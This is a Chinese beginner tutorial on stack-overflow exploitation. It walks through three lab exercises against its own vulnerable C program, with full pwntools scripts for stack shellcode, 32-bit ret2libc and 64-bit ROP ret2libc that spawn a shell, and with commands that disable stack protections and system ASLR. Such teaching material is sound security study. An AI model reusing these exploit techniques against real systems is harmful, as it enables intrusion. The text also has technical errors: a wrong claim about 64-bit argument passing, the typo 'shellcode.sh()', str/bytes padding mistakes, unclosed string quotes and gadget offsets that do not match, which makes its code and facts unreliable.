Re:从零开始的pwn学习（栈溢出篇）

写在前面：本文旨在帮助刚接触pwn题的小伙伴少走一些弯路，快速上手pwn题，内容较为基础，大佬轻喷。本文默认读者明白最基础的汇编指令的含义，并且已经配置好linux64位环境，明白基础的Linux指令。

栈，栈帧与函数调用

我们知道，在数据结构中，栈是一种先进后出的数据结构。而在操作系统中，一般使用栈保存函数的状态和函数中的局部变量。

Linux中的栈位于程序内存空间的末端，从高地址向低地址生长

栈帧是当一个函数被调用时，所拥有的独立的存放函数状态和所使用的变量的栈空间，每个函数都对应有一个栈帧，同一个函数多次调用，每次可能分配到不同的栈帧。

一个运行中的函数，其栈帧区域被栈基址寄存器(bp)和栈顶寄存器(sp)所限定。

以上为调用一个子函数时，子函数的栈帧结构图(32位），64位基本也是如此，但是有一些细微的不同，之后会提到。

在32位系统中，一个函数被调用时，会经过以下过程：

保存函数实参
保存子函数结束后的返回地址
保存父函数栈帧信息
在栈上开辟空间供局部变量使用
实现函数自身功能
释放函数用到的局部变量空间
根据保存的父函数信息，恢复父函数栈帧
由保存的返回地址，恢复父函数执行流

保存函数实参

func(a,b,c)，对应的汇编指令是：

asm 复制代码

push c
push b
push a

对参数从右向左进行压栈

保存子函数结束后返回地址

此时的汇编指令显示为call func指令，在功能上等价于：

asm 复制代码

push 当前call指令下一条指令的地址
jmp func

其中，push指令将当前call指令的下一条指令的地址保存进栈中，这样，当子函数执行结束后，将可以方便地根据其中保存的地址恢复原有程序的执行流。

而jmp指令则是跳转到对应函数的地址。

保存父函数栈帧信息

进入func函数内部，此时esp和ebp仍然保存的是父函数栈帧。

由于子函数中栈空间完全释放后，esp会回到函数调用前状态，因此只需要保存ebp信息即可，将父函数ebp入栈。

asm 复制代码

push ebp

随后修改子函数的栈底为当前的esp处

asm 复制代码

mov ebp,esp

为子函数分配栈空间

asm 复制代码

sub esp,20h

以上为子函数分配32字节大小的空间。需要注意栈的增长方向是由高地址向低地址，因此此处做减法

子函数执行完成后回收栈空间

asm 复制代码

add esp,20h

恢复父函数栈帧

此时esp恢复到刚压入父函数ebp后的状态，可以恢复父函数的ebp，从而恢复栈帧

asm 复制代码

pop ebp

恢复程序执行流

最后，当前栈顶为返回地址，父函数栈信息已经恢复，根据栈中储存的返回地址修改程序执行流即可。对应的汇编语句是：

asm 复制代码

retn

以上即为32位主机中函数栈帧从创建到销毁的全过程。

而在大多数64位主机遵循的传参规定中，参数需要通过寄存器进行传递，只有当参数多于6个时，多出来的部分才会通过寄存器进行传递。寄存器与参数的对应关系如下：

Register	Argument
rdi	First Argument
rsi	Second
rdx	third
rcx	fourth
r8	fifth
r9	sixth

小试身手

有了以上的理论学习，可以通过以下三道简单的pwn题，由浅入深地理解pwn中栈溢出的利用。

源程序rop1.c

c 复制代码

#include<stdio.h>
#include<unistd.h>
void vuln()
{
    char buf[128];
    read(0,buf,256);
}
int main()
{
    vuln();
    write(1,"hello rop\n",10);
}

通过分析源码，我们知道以上程序存在着明显的栈溢出漏洞，其接收一个大小为128位的数组，却允许读入256个字节。

所谓的栈溢出，即为：用户的输入超过了预先分配好的栈空间，导致一部分数据发生泄漏，覆盖掉了其他数据，譬如关键变量，返回地址等。通过栈溢出漏洞，我们可以修改程序执行流。

以上为栈溢出示意图，用户的输入大于12个字节，从低地址到高地址依次覆盖掉了Char* bar，保存的父函数栈基址，返回地址，并将返回地址写为一个特定的值。

常见的与栈溢出漏洞相关的函数被称为危险函数，常见的危险函数包括：
gets(),scanf(),sprintf(),strcpy(),strcat(),read()等，当遇到这些函数时，可以考虑利用栈溢出。

在我们的调试中，需要用到一个python库pwntools，通过撰写脚本，利用pwntools，可以极大地简化pwn流程。

python创建并激活虚拟环境(推荐)

bash 复制代码

python -m venv .venv
source .venv/bin/activate

安装pwntools

bash 复制代码

pip install pwntools

测试是否安装成功

bash 复制代码

python
from pwn import *

若不报错，则完成安装

第一题-栈上执行shellcode实现程序流劫持

在以下三题中，我们的目的都是拿到系统的shell。实验环境为Ubuntu 24.10

在第一题中，我们的目标是，将我们的shellcode直接写在栈中，并且将函数的返回地址覆写为shellcode的地址，从而实现对shellcode的执行。

其原理图如下：

但是，现代操作系统普遍开启了栈保护，不允许直接执行栈上的shellcode，因此我们在编译时需要先关闭栈保护（以执行shellcode）,并关闭内存地址随机化(ASLR)

将文件作为32位文件编译，编译时关闭栈保护

bash 复制代码

gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack

-m32选项指定为32位文件编译，-fno-stack-protector关闭栈保护，-z execstack允许在栈上执行shellcode

关闭系统内存地址随机化ASLR

bash 复制代码

su -
echo 2 | tee /proc/sys/kernel/randomize_va_space

利用pwntools提供的checksec工具，我们可以查看文件的保护情况：

bash 复制代码

checksec rop1

执行所得结果类似下图所示：

简单介绍下其中部分参数的含义：

Arch: 程序的架构，此处为i386-32-little，说明该程序是32位的，并以小端存储地址
stack-canary: 针对栈溢出的保护机制，在函数开始执行前，在返回地址处写入一个字长的随机数据，在函数返回前校验该值是否改变，若改变则说明发生栈溢出，将程序直接终止。
NX: 在现代操作系统中，开启NX保护后，所有可以被修改写入shellcode的内存都不可执行，所有可以被执行的数据都不可以被修改。此处关闭
PIE: 让可执行程序的地址进行随机化加载，但是此处不关掉也不会影响做题

有了上述准备工作以后，我们可以开始做题。

通过源码，我们知道发生溢出的数组在vuln数组内部，因此，我们设置断点，并反编译vuln函数

bash 复制代码

gdb rop1

在gdb处执行

b vuln
r
disass vuln

从汇编代码中，我们得到数组的偏移量，对应[ebp-0x88]中的内容。即为开辟的数组空间的大小，若输入大于该大小，则会发生栈溢出。

通过以上原理图，我们注意到，如果我们希望完成对返回地址的覆盖，除了数组的偏移量以外，我们还需要额外加上一个ebp大小的偏移量，用于覆盖掉父函数栈帧，这样以后，我们才能将返回地址覆盖成我们的地址。

因此，我们构建的输入是这样的：

payload = 0x88*b'a'+0x4*b'b'+return_addr

注意，此处我们传入的字符类型需要为bytes，即以字节流的形式构建payload，否则会出错

返回地址指向一串能够能够调用系统shell的shellcode，我们可以借助pwntools帮助我们生成这一shellcode

python 复制代码

shellcode = asm(shellcode.sh())

有了以上的思路以后，我们撰写脚本，此时我们还不能确定shellcode的地址，因此我们先引发程序崩溃再做观察：

python 复制代码

from pwn import *
p = process('./rop1')
gdb.attach(p,'b vuln')
shellcode = asm(shellcraft.sh())
shellcode_addr = 0xdeadbeef # 暂且不能确定
payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
p.sendline(payload)
p.interactive() # 进入交互模式

此时程序崩溃，会自动在当前目录下生成一个包含程序崩溃信息的core文件（也可能没有，自行google如何在程序崩溃后生成core文件)

程序崩溃后的栈帧是这样的：

函数执行结束，回收栈帧，esp指向父函数的栈顶，与数组后面填充的shellcode距离为数组大小0x88+两个寄存器的大小0x4*2，即0x90

为了验证我们的猜想，我们用gdb附加core文件，查看rop1文件崩溃时的信息

bash 复制代码

gdb rop1 core.xxxxxx

在gdb中，查看esp-0x90处地址的内容

x/s $esp-0x90

以jhh开头的那串字符即为生成的开启shell的shellcode（可自行验证）

$esp-0x90即为我们需要的shellcode地址。记录该地址，并填入脚本中

完善脚本，成功获取到shell:

python 复制代码

from pwn import *
p = process('./rop1')
shellcode = asm(shellcraft.sh())
shellcode_addr = your_addr
payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
p.sendline(payload)
p.interactive() # 进入交互模式

第二题-利用ret2libc实现程序流劫持(32位)

按照以下参数编译程序：

bash 复制代码

gcc rop1.c -o rop2 -m32 -fno-stack-protector

第二题在实验1的基础上开启了NX(NO execute)保护，不能直接执行栈上的shellcode。

不能直接运行shellcode，我们能通过别的方式达成目的吗？可以的，一个程序的运行不可避免地要引用外部共享库，一个常用的库是libc库(Standard C Library)，其为GNU/Linux提供了一系列关键的函数。若我们能够通过修改程序执行流，执行libc库中提供的函数，即可绕过限制。

如图，我们将子函数原本的返回地址覆写为libc库中函数地址，子函数执行结束后，会跳转到对应函数位置。

通过ldd指令，我们可以查看文件所使用的共享库：

bash 复制代码

ldd rop2

此处我们选取的libc函数为system函数，参数为/bin/sh，这样可以调起一个终端。而在本例中，system函数执行结束后的返回地址不重要，因为通过执行函数system，我们已经获取了shell。

由于我们在本题中已经关闭了ASLR，因此system函数和/bin/sh字符串在程序开始执行后，在内存中的地址不会发生变化，在开始调试后可以直接使用gdb查找这两个地址：

输出system函数的地址：

p system

通过vmmap，我们在gdb中查看当前内存地址映射，确定当前使用的libc.so在内存中的起始地址和结束地址，并尝试在该地址中寻找/bin/sh字符串

vmmap

其起始地址为0xf7ccb000，终止地址为0xf7ef4000

用find指令查找"/bin/sh"字符在libc库中的位置：

find 0xf7ccb000,0xf7ef4000,"/bin/sh"

结果地址即为所求

明确了目标地址，我们接下来需要确定偏移量，同样反编译vuln函数：

数组大小为0x88，在加上一个ebp大小0x4用于覆盖掉父函数栈帧，得到最终的偏移量0x8c

有了以上准备工作，我们撰写以下脚本，将gdb调试进程附加到脚本上：

python 复制代码

from pwn import *

p = process('./rop2')
gdb.attach(p,'b main')

sys_addr= int(input("Find out the address of the system function"),16)
binsh_addr= int(input("Find out the address of the /bin/sh string in libc"),16)
payload = b'a'*0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr) # system函数的返回地址不重要
p.sendline(payload)
p.interactive() # 开启交互模式

将获取的地址填入其中，即可拿到shell

第三题-ret2libc(64位)

按照以下参数编译程序

bash 复制代码

gcc rop1.c -o rop3 -m64 -fno-stack-protector

复习一下，64位的libc利用与32位的不同，由于参数调用约定方式的改变，64位程序在进行函数传参时，将会将参数通过特定的寄存器传递，只有当参数的数量多于6个时，多余的参数才会通过栈进行传递。

参数与寄存器的对应关系：

而要想通过寄存器传参，我们需要找到一些特定的小代码片段(gadget)，通过这些片段，我们将参数从栈弹出到寄存器中，再通过寄存器进行传参。在本例中，我们需要传递的参数只有/bin/sh一个。我们可以寻找类似pop rdi; ret这样的gadget

原理图如下所示：

首先我们需要查看rop3使用的共享库：

ldd rop3

可以看到，其中用到了libc.so.6库，正是我们需要的libc。

利用pwntools提供的ROPgadget工具，从对应库中找出我们需要的gadget

bash 复制代码

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

将显示匹配的结果及其相对于文件首地址的偏移量

0x000000000002a44e : pop rdi ; pop rbp ; ret
0x000000000002a255 : pop rdi ; ret
0x0000000000129b4d : pop rdi ; ret 0xfff2
0x00000000000f4d6d : pop rdi ; ret 0xffff

参数地址和系统函数地址的获取方式和32位的获取方式相同，此处不在赘述。

关于偏移量的计算，需要注意，64位的偏移量与32位的不尽相同，需要重新计算，反编译vuln函数：

此处，数组偏移量为0x80，为了覆盖返回地址，还需要加上一个rbp大小，即0x8，故总偏移量为0x88

有了以上信息，可以开始写脚本：

python 复制代码

from pwn import *
p = process('./rop3')
gdb.attach(p,'b main')
sys_addr=int(input("Input the address of the system function: ),16)
binsh_addr=int(input("Input the address of the string /bin/sh: ),16)
pr_addr =int(input("Input the address of the gadget: "),16)
payload = b'a' * 0x80+b'b'*0x8+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

执行脚本。此时可能执行失败（如果你的system函数的地址不以0结尾）。此处涉及到一个细节，即：64位操作系统中的主流编译器要求进行栈对齐，即，调用函数的地址需要能够被16整除。

知道了原因以后，我们需要让system函数的调用地址+8或者-8字节，这样才能完成对齐。通常，我们通过插入一条ret的gadget完成操作

在libc.so.6中寻找ret

bash 复制代码

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only 'ret' | grep ret

以下修改后的脚本：

python 复制代码

from pwn import *

p=process('./rop3')                                           
gdb.attach(p,'b main')                                                                          
system_addr = int(input("Enter the address of the system function: "),16)
binsh_addr = int(input("Find the address of the '/bin/sh' string in libc.so.6: "),16)

offset1 = 0x000000000011903c
gadget_start_addr = int(input("Enter the start address of libc.so.6: "),16)
gadget_addr = gadget_start_addr+offset1

offset2 = 0x0000000000028a93
ret_addr = gadget_start_addr+offset2

payload = b'a'*0x80 + b'b'*0x8 + p64(gadget_addr)+p64(ret_addr)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

以上，若有遗漏或错误，恳请各位大佬指出。希望能帮对pwn感兴趣的小伙伴少走弯路!